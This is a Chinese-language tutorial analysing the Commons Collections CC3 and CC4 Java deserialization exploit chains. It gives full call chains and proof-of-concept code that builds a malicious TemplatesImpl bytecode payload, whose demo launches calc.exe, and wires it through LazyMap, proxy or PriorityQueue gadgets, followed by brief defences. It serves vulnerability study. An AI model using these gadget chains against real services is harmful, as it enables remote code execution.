通俗易懂的Java Commons Collections 3、4分析
字数 1407 2025-08-03 16:50:12
Java Commons Collections 3/4 反序列化漏洞分析
前言
本文详细分析Apache Commons Collections 3.1和4.0版本中的反序列化漏洞利用链(CC3和CC4)。CC3是CC1和CC2的结合,而CC4则是CC2和CC3的结合。理解这些漏洞需要对Java反序列化机制和Commons Collections库有深入了解。
环境搭建
CC3环境
- JDK 1.7
- Commons Collections 3.1
- Javassist 3.24.1-GA
pom.xml依赖:
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.24.1-GA</version>
</dependency>
</dependencies>
CC4环境
- JDK 1.7
- Commons Collections 4.0
- Javassist 3.25.0-GA
pom.xml依赖:
<dependencies>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
<scope>compile</scope>
</dependency>
</dependencies>
关键类介绍
TrAXFilter类
- 位于
com.sun.org.apache.xalan.internal.xsltc.trax包 - 构造方法中调用了传入参数的
newTransformer()方法 - 可以用于命令执行,参数可控
InstantiateTransformer类
- 实现了
Transformer和Serializable接口 transform()方法中判断input参数是否为Class- 如果是Class,则通过反射实例化对象并返回
CC3利用链分析
完整利用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
POC关键代码解析
- 使用Javassist创建恶意类
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
- 设置TemplatesImpl
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
- 构造Transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
- 构造LazyMap和代理
HashMap innermap = new HashMap();
LazyMap outerMap = (LazyMap) LazyMap.decorate(innermap, transformerChain);
Class cls1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = cls1.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler1 = (InvocationHandler) construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler1);
InvocationHandler handler2 = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
执行流程分析
- 反序列化时触发
AnnotationInvocationHandler.readObject() - 调用代理Map的
entrySet()方法 - 进入
AnnotationInvocationHandler.invoke() - 调用
LazyMap.get() - 触发
ChainedTransformer.transform() - 第一轮:
ConstantTransformer返回TrAXFilter类 - 第二轮:
InstantiateTransformer实例化TrAXFilter TrAXFilter构造方法调用templates.newTransformer()- 最终执行恶意字节码中的命令
CC4利用链分析
完整利用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
POC关键代码解析
-
创建恶意类(同CC3)
-
设置TemplatesImpl(同CC3)
-
构造Transformer链(同CC3)
-
设置PriorityQueue
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates, 1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue, queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue, 2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue, Tcomparator);
执行流程分析
- 反序列化时触发
PriorityQueue.readObject() - 调用
heapify() - 进入
siftDown()和siftDownUsingComparator() - 调用
TransformingComparator.compare() - 触发
ChainedTransformer.transform() - 后续流程与CC3相同
防御措施
- 升级Commons Collections到安全版本
- 使用Java反序列化过滤器
- 避免反序列化不可信数据
总结
CC3和CC4利用链展示了Java反序列化漏洞的复杂性,通过组合不同的类和方法实现远程代码执行。理解这些漏洞需要对Java反射、动态代理、类加载机制等有深入认识。在实际开发中,应当严格避免反序列化不可信数据,并及时更新依赖库。